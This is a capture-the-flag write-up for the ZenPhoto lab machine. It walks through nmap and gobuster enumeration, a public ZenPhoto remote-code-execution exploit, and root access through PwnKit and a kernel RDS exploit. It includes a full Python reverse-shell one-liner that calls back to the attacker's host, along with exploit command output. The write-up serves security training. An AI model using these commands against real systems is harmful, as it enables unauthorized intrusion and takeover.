Nmap
nmap
sudo nmap -Pn -n $IP -sC -sV -p- --open
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.3p1 Debian 3ubuntu7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 83:92:ab:f2:b7:6e:27:08:7b:a9:b8:72:32:8c:cc:29 (DSA)
|_ 2048 65:77:fa:50:fd:4d:9e:f1:67:e5:cc:0c:c6:96:f2:3e (RSA)
23/tcp open ipp CUPS 1.4
|_http-title: 403 Forbidden
| http-methods:
|_ Potentially risky methods: PUT
|_http-server-header: CUPS/1.4
80/tcp open http Apache httpd 2.2.14 ((Ubuntu))
|_http-server-header: Apache/2.2.14 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
3306/tcp open mysql MySQL (unauthorized)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enumeration
Port 80 is open and a gobuster scan reveals a /test/ directory. It shows that ZenPhoto is running.
There is a RCE exploit .
Exploitation
We run the exploit and put a python reverse shell as a command. It says the exploit failed but we still get the reverse shell on our nc listener.
┌──(kali㉿kali)-[~/ProvingGrounds/ZenPhoto]
└─$ php 18083.php 192.168.208.41 /test/
+-----------------------------------------------------------+
| Zenphoto <= 1.4.1.4 Remote Code Execution Exploit by EgiX |
+-----------------------------------------------------------+
zenphoto-shell# export RHOST="192.168.45.179";export RPORT=80;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'
[-] Exploit failed!
We check /home/ and find local.txt
Privilege Escalation
I then transferred Linpeas.sh to the target machine and ran it.
NOTE: Don’t pipe linpeas output because it will hang on stuff.
Found that the system (32bit) is vulnerable to PwnKit. Transferred the 32bit binary to the target and got a root shell.
Grabbed proof.txt
They wanted me to use an exploit for CVE-2010-3904. I asked AI how they expect me to narrow the kernel exploits down (there was a wall of likely kernel exploits in linpeas output), and they said to basically match up the system version with the versions listed in the output.
I went ahead and verified that the exploit worked
www-data@offsecsrv:/tmp$ gcc 15285.c -o sploit
www-data@offsecsrv:/tmp$ chmod +x sploit
www-data@offsecsrv:/tmp$ ./sploit
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
[+] Resolved security_ops to 0xc08c8c2c
[+] Resolved default_security_ops to 0xc0773300
[+] Resolved cap_ptrace_traceme to 0xc02f3dc0
[+] Resolved commit_creds to 0xc016dcc0
[+] Resolved prepare_kernel_cred to 0xc016e000
[*] Overwriting security ops...
[*] Overwriting function pointer...
[*] Triggering payload...
[*] Restoring function pointer...
[*] Got root!
# whoami
root